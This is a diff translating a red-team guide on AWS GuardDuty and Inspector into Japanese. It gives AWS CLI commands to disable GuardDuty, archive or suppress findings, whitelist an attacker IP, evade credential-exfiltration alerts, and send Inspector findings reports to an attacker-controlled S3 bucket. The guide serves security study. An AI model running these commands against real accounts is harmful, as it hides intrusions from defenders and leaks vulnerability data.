@@ -28,7 +28,7 @@ Alerts **appear in the GuardDuty console (90 days)** and CloudWatch Events. Finding summary: - Finding type -- Severity: 7-8.9 High, 4-6.9 Medium, 01-3.9 Low +- Severity: 7-8.9 高, 4-6.9 中, 01-3.9 低 - Region - Account ID - Resource ID @@ -52,16 +52,15 @@ Access a list of all the GuardDuty findings in: [https://docs.aws.amazon.com/gua #### By Invitation -You can **invite other accounts** to a different AWS GuardDuty account so **every account is monitored from the same GuardDuty**. The master account must invite the member accounts and then the representative of the member account must accept the invitation. +他のアカウントを異なるAWS GuardDutyアカウントに**招待**することができ、**すべてのアカウントが同じGuardDutyから監視されます**。マスターアカウントがメンバーアカウントを招待し、メンバーアカウントの代表者が招待を受け入れる必要があります。 #### Via Organization -You can designate any account within the organization to be the **GuardDuty delegated administrator**. Only the organization management account can designate a delegated administrator. +組織内の任意のアカウントを**GuardDutyの委任管理者**として指定できます。委任管理者を指定できるのは、組織の管理アカウントのみです。 -An account that gets designated as a delegated administrator becomes a GuardDuty administrator account, has GuardDuty enabled automatically in the designated AWS Region, and also has the **permission to enable and manage GuardDuty for all of the accounts in the organization within that Region**. The other accounts in the organization can be viewed and added as GuardDuty member accounts associated with this delegated administrator account. +委任管理者として指定されたアカウントは、GuardDuty管理者アカウントとなり、指定されたAWSリージョンでGuardDutyが自動的に有効になり、そのリージョン内の組織内のすべてのアカウントに対してGuardDutyを有効にし、管理する**権限を持ちます**。組織内の他のアカウントは、この委任管理者アカウントに関連付けられたGuardDutyメンバーアカウントとして表示および追加できます。 ## Enumeration - ```bash # Get Org config aws guardduty list-organization-admin-accounts #Get Delegated Administrator @@ -101,85 +100,76 @@ aws guardduty list-publishing-destinations --detector-id aws guardduty list-threat-intel-sets --detector-id aws guardduty get-threat-intel-set --detector-id --threat-intel-set-id ``` +## GuardDuty バイパス -## GuardDuty Bypass +### 一般的なガイダンス -### General Guidance +使用する資格情報の動作についてできるだけ多くの情報を収集してください： -Try to find out as much as possible about the behaviour of the credentials you are going to use: +- 使用される時間 +- 場所 +- ユーザーエージェント / サービス（awscli、webconsole、lambda などから使用される可能性があります） +- 定期的に使用される権限 -- Times it's used -- Locations -- User Agents / Services (It could be used from awscli, webconsole, lambda...) -- Permissions regularly used +この情報をもとに、アクセスを使用するためにできるだけ同じシナリオを再現してください： -With this information, recreate as much as possible the same scenario to use the access: +- **ユーザーによってアクセスされるユーザーまたはロール**の場合、同じ時間帯、同じ地理的位置（可能であれば同じISPとIPから）で使用してください +- **サービスによって使用されるロール**の場合、同じリージョンに同じサービスを作成し、同じ時間範囲でそこから使用してください +- このプリンシパルが使用した**同じ権限**を常に使用するようにしてください +- **他の権限を使用する必要がある場合や権限を悪用する必要がある場合**（例えば、1,000,000のcloudtrailログファイルをダウンロードするなど）、**ゆっくり**行い、AWSとの**最小限のインタラクション**で行ってください（awscliは時々、書き込みの前にいくつかの読み取りAPIを呼び出します） -- If it's a **user or a role accessed by a user**, try to use it in the same hours, from the same geolocation (even the same ISP and IP if possible) -- If it's a **role used by a service**, create the same service in the same region and use it from there in the same time ranges -- Always try to use the **same permissions** this principal has used -- If you need to **use other permissions or abuse a permission** (for example, download 1.000.000 cloudtrail log files) do it **slowly** and with the **minimum amount of interactions** with AWS (awscli sometime call several read APIs before the write one) - -### Breaking GuardDuty +### GuardDutyの破壊 #### `guardduty:UpdateDetector` -With this permission you could disable GuardDuty to avoid triggering alerts. - +この権限を使用すると、アラートをトリガーしないようにGuardDutyを無効にすることができます。 ```bash aws guardduty update-detector --detector-id --no-enable aws guardduty update-detector --detector-id --data-sources S3Logs={Enable=false} ``` - #### `guardduty:CreateFilter` -Attackers with this permission have the capability to **employ filters for the automatic** archiving of findings: - +この権限を持つ攻撃者は、**発見の自動**アーカイブのためのフィルターを**使用する**能力を持っています： ```bash aws guardduty create-filter --detector-id --name --finding-criteria file:///tmp/criteria.json --action ARCHIVE ``` - #### `iam:PutRolePolicy`, (`guardduty:CreateIPSet`|`guardduty:UpdateIPSet`) -Attackers with the previous privileges could modify GuardDuty's [**Trusted IP list**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) by adding their IP address to it and avoid generating alerts. - +以前の権限を持つ攻撃者は、GuardDutyの[**信頼されたIPリスト**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html)を変更し、自分のIPアドレスを追加することでアラートの生成を回避することができます。 ```bash aws guardduty update-ip-set --detector-id --activate --ip-set-id --location https://some-bucket.s3-eu-west-1.amazonaws.com/attacker.csv ``` - #### `guardduty:DeletePublishingDestination` -Attackers could remove the destination to prevent alerting: - +攻撃者はアラートを防ぐために宛先を削除する可能性があります： ```bash aws guardduty delete-publishing-destination --detector-id --destination-id ``` - > [!CAUTION] -> Deleting this publishing destination will **not affect the generation or visibility of findings within the GuardDuty console**. GuardDuty will continue to analyze events in your AWS environment, identify suspicious or unexpected behavior, and generate findings. +> この公開先を削除しても、**GuardDutyコンソール内の発見の生成や可視性には影響しません**。GuardDutyは引き続き、AWS環境内のイベントを分析し、疑わしいまたは予期しない動作を特定し、発見を生成します。 -### Specific Findings Bypass Examples +### 特定の発見バイパスの例 -Note that there are tens of GuardDuty findings, however, **as Red Teamer not all of them will affect you**, and what is better, you have the f**ull documentation of each of them** in [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) so take a look before doing any action to not get caught. +GuardDutyの発見は数十種類ありますが、**Red Teamerとしてはすべてがあなたに影響を与えるわけではありません**。さらに良いことに、各発見の**完全なドキュメントが**[https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html)にあるので、行動を起こす前に確認して捕まらないようにしてください。 -Here you have a couple of examples of specific GuardDuty findings bypasses: +ここに特定のGuardDuty発見のバイパスの例をいくつか示します： #### [PenTest:IAMUser/KaliLinux](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux) -GuardDuty detect AWS API requests from common penetration testing tools and trigger a [PenTest Finding](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux).\ -It's detected by the **user agent name** that is passed in the API request.\ -Therefore, **modifying the user agent** it's possible to prevent GuardDuty from detecting the attack. +GuardDutyは一般的なペネトレーションテストツールからのAWS APIリクエストを検出し、[PenTest Finding](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux)をトリガーします。\ +これはAPIリクエストに渡される**ユーザーエージェント名**によって検出されます。\ +したがって、**ユーザーエージェントを変更することで**GuardDutyが攻撃を検出するのを防ぐことが可能です。 -To prevent this you can search from the script `session.py` in the `botocore` package and modify the user agent, or set Burp Suite as the AWS CLI proxy and change the user-agent with the MitM or just use an OS like Ubuntu, Mac or Windows will prevent this alert from triggering. +これを防ぐためには、`botocore`パッケージ内の`session.py`スクリプトを検索してユーザーエージェントを変更するか、Burp SuiteをAWS CLIプロキシとして設定し、MitMでユーザーエージェントを変更するか、またはUbuntu、Mac、WindowsのようなOSを使用することでこのアラートのトリガーを防ぐことができます。 #### UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration -Extracting EC2 credentials from the metadata service and **utilizing them outside** the AWS environment activates the [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws) alert. Conversely, employing these credentials from your EC2 instance triggers the [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws) alert. Yet, **using the credentials on another compromised EC2 instance within the same account goes undetected**, raising no alert. +EC2のメタデータサービスからEC2資格情報を抽出し、**AWS環境外で利用する**と、[**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws)アラートが発動します。逆に、これらの資格情報をEC2インスタンスから使用すると、[**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws)アラートがトリガーされます。しかし、**同じアカウント内の別の侵害されたEC2インスタンスで資格情報を使用すると、検出されず、アラートは発生しません**。 > [!TIP] -> Therefore, **use the exfiltrated credentials from inside the machine** where you found them to not trigger this alert. +> したがって、**見つけたマシンの内部から抽出された資格情報を使用する**ことで、このアラートをトリガーしないようにしてください。 -## References +## 参考文献 - [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) - [https://docs.aws.amazon.com/guardduty/latest/ug/findings_suppression-rule.html](https://docs.aws.amazon.com/guardduty/latest/ug/findings_suppression-rule.html) @@ -191,7 +181,3 @@ Extracting EC2 credentials from the metadata service and **utilizing them outsid - [https://docs.aws.amazon.com/whitepapers/latest/aws-privatelink/what-are-vpc-endpoints.html](https://docs.aws.amazon.com/whitepapers/latest/aws-privatelink/what-are-vpc-endpoints.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md index 655b81fa7..48e7ce01b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md @@ -6,53 +6,53 @@ ### Inspector -Amazon Inspector is an advanced, automated vulnerability management service designed to enhance the security of your AWS environment. This service continuously scans Amazon EC2 instances, container images in Amazon ECR, Amazon ECS, and AWS Lambda functions for vulnerabilities and unintended network exposure. By leveraging a robust vulnerability intelligence database, Amazon Inspector provides detailed findings, including severity levels and remediation recommendations, helping organizations proactively identify and address security risks. This comprehensive approach ensures a fortified security posture across various AWS services, aiding in compliance and risk management. +Amazon Inspectorは、AWS環境のセキュリティを強化するために設計された高度な自動脆弱性管理サービスです。このサービスは、Amazon EC2インスタンス、Amazon ECRのコンテナイメージ、Amazon ECS、およびAWS Lambda関数を継続的にスキャンし、脆弱性や意図しないネットワーク露出を検出します。堅牢な脆弱性インテリジェンスデータベースを活用することで、Amazon Inspectorは詳細な調査結果を提供し、深刻度レベルや修正推奨を含め、組織がセキュリティリスクを積極的に特定し対処するのを支援します。この包括的なアプローチは、さまざまなAWSサービス全体で強化されたセキュリティ姿勢を確保し、コンプライアンスとリスク管理を支援します。 ### Key elements #### Findings -Findings in Amazon Inspector are detailed reports about vulnerabilities and exposures discovered during the scan of EC2 instances, ECR repositories, or Lambda functions. Based on its state, findings are categorized as: +Amazon Inspectorの調査結果は、EC2インスタンス、ECRリポジトリ、またはLambda関数のスキャン中に発見された脆弱性や露出に関する詳細なレポートです。状態に基づいて、調査結果は次のように分類されます： -- **Active**: The finding has not been remediated. -- **Closed**: The finding has been remediated. -- **Suppressed**: The finding has been marked with this state due to one or more **suppression rules**. +- **Active**: 調査結果は修正されていません。 +- **Closed**: 調査結果は修正されました。 +- **Suppressed**: 調査結果は1つ以上の**抑制ルール**によりこの状態にマークされています。 -Findings are also categorized into the next three types: +調査結果は次の3つのタイプにも分類されます： -- **Package**: These findings relate to vulnerabilities in software packages installed on your resources. Examples include outdated libraries or dependencies with known security issues. -- **Code**: This category includes vulnerabilities found in the code of applications running on your AWS resources. Common issues are coding errors or insecure practices that could lead to security breaches. -- **Network**: Network findings identify potential exposures in network configurations that could be exploited by attackers. These include open ports, insecure network protocols, and misconfigured security groups. +- **Package**: これらの調査結果は、リソースにインストールされたソフトウェアパッケージの脆弱性に関連しています。例としては、古いライブラリや既知のセキュリティ問題を持つ依存関係が含まれます。 +- **Code**: このカテゴリには、AWSリソース上で実行されているアプリケーションのコードに見つかった脆弱性が含まれます。一般的な問題は、セキュリティ侵害を引き起こす可能性のあるコーディングエラーや不安全なプラクティスです。 +- **Network**: ネットワークの調査結果は、攻撃者によって悪用される可能性のあるネットワーク構成の潜在的な露出を特定します。これには、オープンポート、不安全なネットワークプロトコル、および誤設定されたセキュリティグループが含まれます。 #### Filters and Suppression Rules -Filters and suppression rules in Amazon Inspector help manage and prioritize findings. Filters allow you to refine findings based on specific criteria, such as severity or resource type. Suppression rules allow you to suppress certain findings that are considered low risk, have already been mitigated, or for any other important reason, preventing them from overloading your security reports and allowing you to focus on more critical issues. +Amazon Inspectorのフィルターと抑制ルールは、調査結果の管理と優先順位付けを支援します。フィルターを使用すると、深刻度やリソースタイプなどの特定の基準に基づいて調査結果を絞り込むことができます。抑制ルールを使用すると、低リスクと見なされる、すでに軽減された、またはその他の重要な理由により、特定の調査結果を抑制し、セキュリティレポートの過負荷を防ぎ、より重要な問題に集中できるようになります。 #### Software Bill of Materials (SBOM) -A Software Bill of Materials (SBOM) in Amazon Inspector is an exportable nested inventory list detailing all the components within a software package, including libraries and dependencies. SBOMs help provide transparency into the software supply chain, enabling better vulnerability management and compliance. They are crucial for identifying and mitigating risks associated with open source and third-party software components. +Amazon Inspectorのソフトウェア部品表（SBOM）は、ライブラリや依存関係を含むソフトウェアパッケージ内のすべてのコンポーネントの詳細なエクスポータブルネストされたインベントリリストです。SBOMは、ソフトウェアサプライチェーンの透明性を提供し、より良い脆弱性管理とコンプライアンスを可能にします。オープンソースおよびサードパーティのソフトウェアコンポーネントに関連するリスクを特定し軽減するために重要です。 ### Key features #### Export findings -Amazon Inspector offers the capability to export findings to Amazon S3 Buckets, Amazon EventBridge and AWS Security Hub, which enables you to generate detailed reports of identified vulnerabilities and exposures for further analysis or sharing at a specific date and time. This feature supports various output formats such as CSV and JSON, making it easier to integrate with other tools and systems. The export functionality allows customization of the data included in the reports, enabling you to filter findings based on specific criteria like severity, resource type, or date range and including by default all of your findings in the current AWS Region with an Active status. +Amazon Inspectorは、調査結果をAmazon S3バケット、Amazon EventBridge、およびAWS Security Hubにエクスポートする機能を提供し、特定の日付と時刻に識別された脆弱性や露出の詳細なレポートを生成することを可能にします。この機能は、CSVやJSONなどのさまざまな出力形式をサポートしており、他のツールやシステムとの統合を容易にします。エクスポート機能は、レポートに含まれるデータのカスタマイズを可能にし、深刻度、リソースタイプ、または日付範囲などの特定の基準に基づいて調査結果をフィルタリングし、デフォルトで現在のAWSリージョン内のすべてのアクティブな調査結果を含めます。 -When exporting findings, a Key Management Service (KMS) key is necessary to encrypt the data during export. KMS keys ensure that the exported findings are protected against unauthorized access, providing an extra layer of security for sensitive vulnerability information. +調査結果をエクスポートする際には、データをエクスポート中に暗号化するためにキー管理サービス（KMS）キーが必要です。KMSキーは、エクスポートされた調査結果が不正アクセスから保護されることを保証し、機密の脆弱性情報に対する追加のセキュリティ層を提供します。 #### Amazon EC2 instances scanning -Amazon Inspector offers robust scanning capabilities for Amazon EC2 instances to detect vulnerabilities and security issues. Inspector compared extracted metadata from the EC2 instance against rules from security advisories in order to produce package vulnerabilities and network reachability issues. These scans can be performed through **agent-based** or **agentless** methods, depending on the **scan mode** settings configuration of your account. +Amazon Inspectorは、Amazon EC2インスタンスの脆弱性やセキュリティ問題を検出するための強力なスキャン機能を提供します。Inspectorは、EC2インスタンスから抽出されたメタデータをセキュリティアドバイザリーのルールと比較して、パッケージの脆弱性やネットワーク到達性の問題を生成します。これらのスキャンは、アカウントの**スキャンモード**設定に応じて、**エージェントベース**または**エージェントレス**の方法で実行できます。 -- **Agent-Based**: Utilizes the AWS Systems Manager (SSM) agent to perform in-depth scans. This method allows for comprehensive data collection and analysis directly from the instance. -- **Agentless**: Provides a lightweight alternative that does not require installing an agent on the instance, creating an EBS snapshot of every volume of the EC2 instance, looking for vulnerabilities, and then deleting it; leveraging existing AWS infrastructure for scanning. +- **Agent-Based**: AWS Systems Manager（SSM）エージェントを利用して、詳細なスキャンを実施します。この方法では、インスタンスから直接データを収集し分析することができます。 +- **Agentless**: インスタンスにエージェントをインストールする必要がない軽量な代替手段を提供し、EC2インスタンスの各ボリュームのEBSスナップショットを作成し、脆弱性を探し、その後削除します。既存のAWSインフラストラクチャを利用してスキャンを行います。 -The scan mode determines which method will be used to perform EC2 scans: +スキャンモードは、EC2スキャンを実行するために使用される方法を決定します： -- **Agent-Based**: Involves installing the SSM agent on EC2 instances for deep inspection. -- **Hybrid Scanning**: Combines both agent-based and agentless methods to maximize coverage and minimize performance impact. In those EC2 instances where the SSM agent is installed, Inspector will perform an agent-based scan, and for those where there is no SSM agent, the scan performed will be agentless. +- **Agent-Based**: EC2インスタンスにSSMエージェントをインストールして深い検査を行います。 +- **Hybrid Scanning**: エージェントベースとエージェントレスの両方の方法を組み合わせて、カバレッジを最大化し、パフォーマンスへの影響を最小限に抑えます。SSMエージェントがインストールされているEC2インスタンスでは、Inspectorはエージェントベースのスキャンを実行し、SSMエージェントがないインスタンスではエージェントレスのスキャンが実行されます。 -Another important feature is the **deep inspection** for EC2 Linux instances. This feature offers thorough analysis of the software and configuration of EC2 Linux instances, providing detailed vulnerability assessments, including operating system vulnerabilities, application vulnerabilities, and misconfigurations, ensuring a comprehensive security evaluation. This is achieved through the inspection of **custom paths** and all of its sub-directories. By default, Amazon Inspector will scan the following, but each member account can define up to 5 more custom paths, and each delegated administrator up to 10: +もう一つの重要な機能は、EC2 Linuxインスタンスの**深い検査**です。この機能は、EC2 Linuxインスタンスのソフトウェアと構成の徹底的な分析を提供し、オペレーティングシステムの脆弱性、アプリケーションの脆弱性、誤設定を含む詳細な脆弱性評価を行い、包括的なセキュリティ評価を確保します。これは、**カスタムパス**とそのすべてのサブディレクトリの検査を通じて実現されます。デフォルトでは、Amazon Inspectorは以下をスキャンしますが、各メンバーアカウントは最大5つのカスタムパスを定義でき、各委任管理者は最大10個を定義できます： - `/usr/lib` - `/usr/lib64` @@ -61,28 +61,27 @@ Another important feature is the **deep inspection** for EC2 Linux instances. Th #### Amazon ECR container images scanning -Amazon Inspector provides robust scanning capabilities for Amazon Elastic Container Registry (ECR) container images, ensuring that package vulnerabilities are detected and managed efficiently. +Amazon Inspectorは、Amazon Elastic Container Registry（ECR）コンテナイメージのための強力なスキャン機能を提供し、パッケージの脆弱性が効率的に検出され管理されることを保証します。 -- **Basic Scanning**: This is a quick and lightweight scan that identifies known OS packages vulnerabilities in container images using a standard set of rules from the open-source Clair project. With this scanning configuration, your repositories will be scanned on push, or performing manual scans. -- **Enhanced Scanning**: This option adds the continuous scanning feature in addition to the on push scan. Enhanced scanning dives deeper into the layers of each container image to identify vulnerabilities in OS packages and in programming languages packages with higher accuracy. It analyzes both the base image and any additional layers, providing a comprehensive view of potential security issues. +- **Basic Scanning**: これは、オープンソースのClairプロジェクトからの標準的なルールセットを使用して、コンテナイメージ内の既知のOSパッケージの脆弱性を特定する迅速で軽量なスキャンです。このスキャン設定では、リポジトリはプッシュ時にスキャンされるか、手動スキャンが実行されます。 +- **Enhanced Scanning**: このオプションは、プッシュスキャンに加えて継続的スキャン機能を追加します。強化スキャンは、各コンテナイメージのレイヤーをより深く掘り下げて、OSパッケージやプログラミング言語パッケージの脆弱性をより高い精度で特定します。ベースイメージと追加のレイヤーの両方を分析し、潜在的なセキュリティ問題の包括的なビューを提供します。 #### Amazon Lambda functions scanning -Amazon Inspector includes comprehensive scanning capabilities for AWS Lambda functions and its layers, ensuring the security and integrity of serverless applications. Inspector offers two types of scanning for Lambda functions: +Amazon Inspectorは、AWS Lambda関数とそのレイヤーのための包括的なスキャン機能を含み、サーバーレスアプリケーションのセキュリティと整合性を確保します。Inspectorは、Lambda関数のための2種類のスキャンを提供します： -- **Lambda standard scanning**: This default feature identifies software vulnerabilities in the application package dependencies added to your Lambda function and layers. For instance, if your function uses a version of a library like python-jwt with a known vulnerability, it generates a finding. -- **Lambda code scanning**: Analyzes custom application code for security issues, detecting vulnerabilities like injection flaws, data leaks, weak cryptography, and missing encryption. It captures code snippets highlighting detected vulnerabilities, such as hardcoded credentials. Findings include detailed remediation suggestions and code snippets for fixing the issues. +- **Lambda standard scanning**: このデフォルト機能は、Lambda関数とレイヤーに追加されたアプリケーションパッケージの依存関係におけるソフトウェアの脆弱性を特定します。たとえば、関数が既知の脆弱性を持つライブラリのバージョン（例：python-jwt）を使用している場合、調査結果が生成されます。 +- **Lambda code scanning**: カスタムアプリケーションコードのセキュリティ問題を分析し、インジェクションの欠陥、データ漏洩、弱い暗号化、暗号化の欠如などの脆弱性を検出します。検出された脆弱性を強調するコードスニペットをキャプチャします。調査結果には、問題を修正するための詳細な修正提案とコードスニペットが含まれます。 #### **Center for Internet Security (CIS) scans** -Amazon Inspector includes CIS scans to benchmark Amazon EC2 instance operating systems against best practice recommendations from the Center for Internet Security (CIS). These scans ensure configurations adhere to industry-standard security baselines. +Amazon Inspectorは、Center for Internet Security（CIS）からのベストプラクティス推奨に対してAmazon EC2インスタンスのオペレーティングシステムをベンチマークするCISスキャンを含みます。これらのスキャンは、構成が業界標準のセキュリティベースラインに準拠していることを保証します。 -- **Configuration**: CIS scans evaluate if system configurations meet specific CIS Benchmark recommendations, with each check linked to a CIS check ID and title. -- **Execution**: Scans are performed or scheduled based on instance tags and defined schedules. -- **Results**: Post-scan results indicate which checks passed, skipped, or failed, providing insight into the security posture of each instance. +- **Configuration**: CISスキャンは、システム構成が特定のCISベンチマーク推奨に合致しているかどうかを評価し、各チェックはCISチェックIDとタイトルにリンクされています。 +- **Execution**: スキャンは、インスタンスタグと定義されたスケジュールに基づいて実行またはスケジュールされます。 +- **Results**: スキャン後の結果は、どのチェックが合格、スキップ、または失敗したかを示し、各インスタンスのセキュリティ姿勢に関する洞察を提供します。 ### Enumeration - ```bash # Administrator and member accounts # @@ -111,7 +110,7 @@ aws inspector2 list-findings aws inspector2 batch-get-finding-details --finding-arns ## List statistical and aggregated finding data (ReadOnlyAccess policy is enough for this) aws inspector2 list-finding-aggregations --aggregation-type [--account-ids ] +| ACCOUNT AWS_LAMBDA_FUNCTION | LAMBDA_LAYER> [--account-ids ] ## Retrieve code snippet information about one or more specified code vulnerability findings aws inspector2 batch-get-code-snippet --finding-arns ## Retrieve the status for the specified findings report (ReadOnlyAccess policy is enough for this) @@ -183,113 +182,101 @@ aws inspector list-exclusions --assessment-run-arn ## Rule packages aws inspector list-rules-packages ``` - ### Post Exploitation > [!TIP] -> From an attackers perspective, this service can help the attacker to find vulnerabilities and network exposures that could help him to compromise other instances/containers. +> 攻撃者の視点から見ると、このサービスは攻撃者が他のインスタンス/コンテナを侵害するのに役立つ脆弱性やネットワークの露出を見つけるのに役立ちます。 > -> However, an attacker could also be interested in disrupting this service so the victim cannot see vulnerabilities (all or specific ones). +> しかし、攻撃者はこのサービスを妨害して、被害者が脆弱性（すべてまたは特定のもの）を確認できないようにすることにも興味を持つかもしれません。 #### `inspector2:CreateFindingsReport`, `inspector2:CreateSBOMReport` -An attacker could generate detailed reports of vulnerabilities or software bill of materials (SBOMs) and exfiltrate them from your AWS environment. This information could be exploited to identify specific weaknesses, outdated software, or insecure dependencies, enabling targeted attacks. - +攻撃者は脆弱性やソフトウェアの材料表（SBOM）の詳細なレポートを生成し、それをあなたのAWS環境から抽出することができます。この情報は、特定の弱点、古いソフトウェア、または安全でない依存関係を特定するために悪用され、標的攻撃を可能にします。 ```bash # Findings report aws inspector2 create-findings-report --report-format --s3-destination [--filter-criteria ] # SBOM report aws inspector2 create-sbom-report --report-format --s3-destination [--resource-filter-criteria ] ``` +以下の例は、攻撃者が制御するAmazon S3バケットに、攻撃者が制御するAmazon KMSキーを使用して、Amazon Inspectorからすべてのアクティブな発見を抽出する方法を示しています。 -The following example shows how to exfiltrate all the Active findings from Amazon Inspector to an attacker controlled Amazon S3 Bucket with an attacker controlled Amazon KMS key: - -1. **Create an Amazon S3 Bucket** and attach a policy to it in order to be accessible from the victim Amazon Inspector: - +1. **Amazon S3バケットを作成**し、被害者のAmazon Inspectorからアクセスできるようにポリシーを添付します: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "allow-inspector", - "Effect": "Allow", - "Principal": { - "Service": "inspector2.amazonaws.com" - }, - "Action": ["s3:PutObject", "s3:PutObjectAcl", "s3:AbortMultipartUpload"], - "Resource": "arn:aws:s3:::inspector-findings/*", - "Condition": { - "StringEquals": { - "aws:SourceAccount": "" - }, - "ArnLike": { - "aws:SourceArn": "arn:aws:inspector2:us-east-1::report/*" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "allow-inspector", +"Effect": "Allow", +"Principal": { +"Service": "inspector2.amazonaws.com" +}, +"Action": ["s3:PutObject", "s3:PutObjectAcl", "s3:AbortMultipartUpload"], +"Resource": "arn:aws:s3:::inspector-findings/*", +"Condition": { +"StringEquals": { +"aws:SourceAccount": "" +}, +"ArnLike": { +"aws:SourceArn": "arn:aws:inspector2:us-east-1::report/*" +} +} +} +] } ``` - -2. **Create an Amazon KMS key** and attach a policy to it in order to be usable by the victim’s Amazon Inspector: - +2. **Amazon KMSキーを作成**し、被害者のAmazon Inspectorで使用できるようにポリシーをアタッチします: ```json { - "Version": "2012-10-17", - "Id": "key-policy", - "Statement": [ - { - ... - }, - { - "Sid": "Allow victim Amazon Inspector to use the key", - "Effect": "Allow", - "Principal": { - "Service": "inspector2.amazonaws.com" - }, - "Action": [ - "kms:Encrypt", - "kms:Decrypt", - "kms:ReEncrypt*", - "kms:GenerateDataKey*", - "kms:DescribeKey" - ], - "Resource": "*", - "Condition": { - "StringEquals": { - "aws:SourceAccount": "" - } - } - } - ] +"Version": "2012-10-17", +"Id": "key-policy", +"Statement": [ +{ +... +}, +{ +"Sid": "Allow victim Amazon Inspector to use the key", +"Effect": "Allow", +"Principal": { +"Service": "inspector2.amazonaws.com" +}, +"Action": [ +"kms:Encrypt", +"kms:Decrypt", +"kms:ReEncrypt*", +"kms:GenerateDataKey*", +"kms:DescribeKey" +], +"Resource": "*", +"Condition": { +"StringEquals": { +"aws:SourceAccount": "" +} +} +} +] } ``` - -3. Execute the command to **create the findings report** exfiltrating it: - +3. **調査結果レポートを作成する** コマンドを実行して、それを抽出します: ```bash aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f ``` - -- **Potential Impact**: Generation and exfiltration of detailed vulnerability and software reports, gaining insights into specific vulnerabilities and security weaknesses. +- **潜在的影響**: 詳細な脆弱性およびソフトウェアレポートの生成と流出、特定の脆弱性およびセキュリティの弱点に関する洞察を得ること。 #### `inspector2:CancelFindingsReport`, `inspector2:CancelSbomExport` -An attacker could cancel the generation of the specified findings report or SBOM report, preventing security teams from receiving timely information about vulnerabilities and software bill of materials (SBOMs), delaying the detection and remediation of security issues. - +攻撃者は、指定された脆弱性レポートまたはSBOMレポートの生成をキャンセルし、セキュリティチームが脆弱性およびソフトウェア部品表（SBOM）に関するタイムリーな情報を受け取るのを妨げ、セキュリティ問題の検出と修正を遅らせる可能性があります。 ```bash # Cancel findings report generation aws inspector2 cancel-findings-report --report-id # Cancel SBOM report generatiom aws inspector2 cancel-sbom-export --report-id ``` - -- **Potential Impact**: Disruption of security monitoring and prevention of timely detection and remediation of security issues. +- **潜在的影響**: セキュリティ監視の中断と、セキュリティ問題の迅速な検出と修正の妨害。 #### `inspector2:CreateFilter`, `inspector2:UpdateFilter`, `inspector2:DeleteFilter` -An attacker with these permissions would be able manipulate the filtering rules that determine which vulnerabilities and security issues are reported or suppressed (if the **action** is set to SUPPRESS, a suppression rule would be created). This could hide critical vulnerabilities from security administrators, making it easier to exploit these weaknesses without detection. By altering or removing important filters, an attacker could also create noise by flooding the system with irrelevant findings, hindering effective security monitoring and response. - +これらの権限を持つ攻撃者は、どの脆弱性やセキュリティ問題が報告されるか、または抑制されるかを決定するフィルタリングルールを操作することができます（**action**がSUPPRESSに設定されている場合、抑制ルールが作成されます）。これにより、セキュリティ管理者から重要な脆弱性を隠すことができ、検出されずにこれらの弱点を悪用しやすくなります。重要なフィルタを変更または削除することで、攻撃者は無関係な発見でシステムを洪水のように inundate し、効果的なセキュリティ監視と対応を妨げることもできます。 ```bash # Create aws inspector2 create-filter --action --filter-criteria --name [--reason ] @@ -298,93 +285,78 @@ aws inspector2 update-filter --filter-arn [--action ] [ # Delete aws inspector2 delete-filter --arn ``` - -- **Potential Impact**: Concealment or suppression of critical vulnerabilities, or flooding the system with irrelevant findings. +- **潜在的影響**: 重要な脆弱性の隠蔽または抑制、または無関係な発見でシステムを洪水させること。 #### `inspector2:DisableDelegatedAdminAccount`, (`inspector2:EnableDelegatedAdminAccount` & `organizations:ListDelegatedAdministrators` & `organizations:EnableAWSServiceAccess` & `iam:CreateServiceLinkedRole`) -An attacker could significantly disrupt the security management structure. +攻撃者はセキュリティ管理構造を大幅に混乱させる可能性があります。 -- Disabling the delegated admin account, the attacker could prevent the security team from accessing and managing Amazon Inspector settings and reports. -- Enabling an unauthorized admin account would allow an attacker to control security configurations, potentially disabling scans or modifying settings to hide malicious activities. +- 委任された管理者アカウントを無効にすることで、攻撃者はセキュリティチームがAmazon Inspectorの設定やレポートにアクセスし管理するのを妨げることができます。 +- 